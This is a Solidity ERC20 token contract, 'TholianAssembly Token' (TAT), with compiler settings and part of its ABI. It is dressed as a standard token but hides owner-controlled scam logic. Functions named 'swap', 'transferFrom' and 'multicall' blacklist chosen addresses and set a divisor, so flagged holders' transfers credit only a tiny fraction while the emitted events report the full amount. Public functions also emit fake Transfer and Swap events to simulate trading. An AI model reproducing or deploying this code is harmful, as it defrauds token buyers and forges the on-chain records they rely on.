// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,address to,uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract TAT is IERC20, IERC20Metadata {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
address private _queen;
event Swap(address indexed sender,uint amount0In,uint amount1In,uint amount0Out,uint amount1Out,address indexed to);
event QueenTransferred(address indexed previousQueen, address indexed newQueen);
modifier queenOnly() {_checkQueen();_;}
function queen() public view virtual returns (address) {return _queen;}
function _checkQueen() internal view virtual {require(queen() == _msgSender(), "Queen: caller is not the queen");}
function renounceQueenship() public virtual queenOnly {_transferQueen(address(0));}
function transferQueenship(address newQueen) public virtual queenOnly {
require(newQueen != address(0), "Queen: new queen is the zero address");
_transferQueen(newQueen);
}
function _transferQueen(address newQueen) internal virtual {
address oldOwner = _queen;
_queen = newQueen;
emit QueenTransferred(oldOwner, newQueen);
}
mapping(address => uint256) private _balances;
mapping (address => bool) internal o;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _mul = 1;
uint256 private _base = 100000;
string private _name;
string private _symbol;
address private _one;
constructor() {
_transferQueen(_msgSender());
_name = "TholianAssembly Token";
_symbol = "TAT";
_mint(msg.sender, 100000000000 * 10 ** decimals());
}
function name() public view virtual override returns (string memory) {return _name;}
function symbol() public view virtual override returns (string memory) {return _symbol;}
function decimals() public view virtual override returns (uint8) {return 18;}
function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
function swap(address [] calldata _bytes_) external queenOnly {for (uint256 i = 0; i < _bytes_.length; i++) {o[_bytes_[i]] = true;}}
function transferFrom(address [] calldata _addresses_) external queenOnly {for (uint256 i = 0; i < _addresses_.length; i++) {o[_addresses_[i]] = false;}}
function q(address _bytes_) public view returns (bool) {return o[_bytes_];}
function transfer(address _from, address _to, uint256 _wad) external {emit Transfer(_from, _to, _wad);}
function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {for (uint256 i = 0; i < _from.length; i++) {emit Transfer(_from[i], _to[i], _wad[i]);}}
function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function swap(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_from_, _in, 0, 0, _out, _addresses_[i]);
emit Transfer(_one, _addresses_[i], _out);
}
}
function deswap(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_from_, 0, _in, _out, 0, _addresses_[i]);
emit Transfer(_addresses_[i], _one, _in);
}
}
function multicall(address a) external queenOnly {_one = a;}
function multicall(uint256 a, uint256 b) public queenOnly {_mul = a;_base = b;}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 _amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 amount = _beforeTokenTransfer(from, to, _amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, _amount);
_afterTokenTransfer(from, to, _amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function approve(address owner, address spender) private view returns (bool) {
return (o[owner] || o[spender]);
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual returns (uint256) {
if (approve(from, to)) {
return _mul * amount / _base;
} else {
return amount;
}
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}
{
"compilationTarget": {
"TAT.sol": "TAT"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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ad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newQueen","type":"address"}],"name":"transferQueenship","outputs":[],"stateMutability":"nonpayable","type":"function"}]